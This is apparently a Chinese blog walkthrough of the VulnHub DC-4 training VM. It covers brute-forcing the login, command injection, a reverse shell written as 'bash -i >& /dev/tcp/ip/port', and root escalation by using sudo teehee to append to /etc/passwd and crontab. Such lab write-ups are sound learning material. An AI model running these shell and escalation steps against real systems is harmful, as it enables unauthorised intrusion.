vulnhub-DC系列4
1.写在前面
这是DC系列的第5个,也是vulnhub靶场练习的第6篇文章。
“我偏爱写诗的荒谬,胜过不写诗的荒谬” — 辛斯波卡
Tips:DC4着重学习了有关提权的部分,学习了计划任务&&passwd明文写入提权姿势
2.知识点速记
- 远程命令执行(RMI)
- Linux关键文件&内容检索
- sudo提权
- crontab计划任务提权
- passwd明文写入提权
3.环境配置
直接去vulnhub官网下载 Vulnhub-DC4对应的ova文件即可,然后拖入vmware。这里为了方便宿主机与靶机通讯,将虚拟机的网络模式设置为了NAT模式
Win10 宿主机、kali2020 攻击机、vulnhub靶机
4.信息收集
环境配置好后,首先确认一下IP,在kali上查看当前IP为 192.168.114.128
4.1 常规探测
对当前网段的主机探测,发现目标主机存在192.168.114.134
存活,开放端口22,80。
进行全端口细致扫描,并未发现有其他端口开放,然后识别下版本信息:
访问下该http业务,发现是一个管理信息登录后台界面。常规思路,扫下目录和文件,未果。
4.2 用户爆破
得了,拿出传统艺能爆破吧,找个好使的字典,账号盲猜就是admin,真就扫出了密码happy
。
登录系统后,发现后台页面可以发起系统命令请求,于是抓包查看:
5. 漏洞利用
5.1 远程命令执行
知识点1:远程命令执行(RMI)
远程命令执行漏洞是Web系统常见漏洞类型,一般可直接getshell。
上面的命令是列举目录,我们修改radio的值就可以执行想要的命令:
直接使用bash -i >& /dev/tcp/ip/port 0>&1
但命令中因为存在>
标签而被截断
换个nc命令测试一下,发现可以哦:
这里任何能进行shell反弹的命令都行
直接进入了jim用户家目录下,看了下除了jim
还有charles
和sam
用户:
5.2 ssh登录爆破
bucakups里面存储的是历史密码,好家伙,爆破梅开二度:
这里用msf模块爆破,还能弹回来个shell
用户密码: jim/jibril04
6. 提权
6.1 SUID提权
我们登录到jim用户,其实之前jim下还有个test.sh脚本,而且带有s标志位。
在这里想了很多办法,包括修改脚本文件,但终究是无法提权。
坑点1:s标志位提权
这里test.sh的属主是jim本身,并不是root权限,所以再怎么提权也无法提到root
6.2 sudo-teehee 提权
此外,已经有了ssh的账号密码,我们直接ssh过去,毕竟shell友好:
其实这里登录的时候也提示了有新邮件,当时没注意到:
这里找一下有关mail的目录:
当然,也可以找下存在指定内容的文件。
于是,在jim的收件箱里发现charles发的邮件,charles要休假,所以把密码给了jim….
账号密码:Charles / ^xHhA&hvim0y
,那我们转到charles来看看。
这里列举一些常规的提权思路:
- 系统内核漏洞 —— 获取版本 + 自检脚本
- sudo 提权 —— 列举当前用户可sudo的程序
- suid 提权 —— 发现具有root权限的s标志位程序
这里sudo -l
发现charles用户可以免密执行teehee
,但teehee是啥命令?
这里 --help
查看下teehee是啥玩意。
teehee:该命令可以将标准输入写入文件及标准输出中
使用 -a 将标准输入追加到指定文件
6.2.1 passwd明文写入
知识点2:passwd明文写入
passwd记录的是系统的账号密码,若具有写权限,可写入明文密码
从而覆盖shadow文件中的密码
1 |
|
然后我们登录下tee用户(这里没有密码)
注意,这里可能生效需要一段时间,反正我重启了虚拟机才可以登录….
6.2.2 计划任务
知识点3:crontab计划任务
若crontab具有写权限,可通过写入计划任务执行提权命令
方式一:
给/bin/bash、/bin/sh
添加+s权限,即SUID标志位
1 |
|
坑点2:bash -p 及 EUID
bash在执行的时候,如果发现EUID和当前UID不同,会强制转到UID
需要 -p 取消强制转换,直接以EUID执行
下面直接运行/bin/bash
,返回的是charles,这里可以理解为suid只是借用了root的权限在执行。
所以这里要写/bin/bash -p
才能返回root权限。
方式二:
执行nc命令反弹shell
1 |
|
方式三:
执行bash脚本反弹
1 |
|
注意:这里需要区别于SUID的执行权限
通过crontab执行bash脚本时,EUID和UID都是root,所以不加-p参数也能返回root权限!
而之前给bash赋予4777权限,如果不加-p,则执行时EUID(0)和UID(非root)不同
导致无法返回root权限!
7.写在结尾
DC4重点学习在于扩展提权方式和提权思路:crontab提权、passwd明文提权
几个比较好的WP: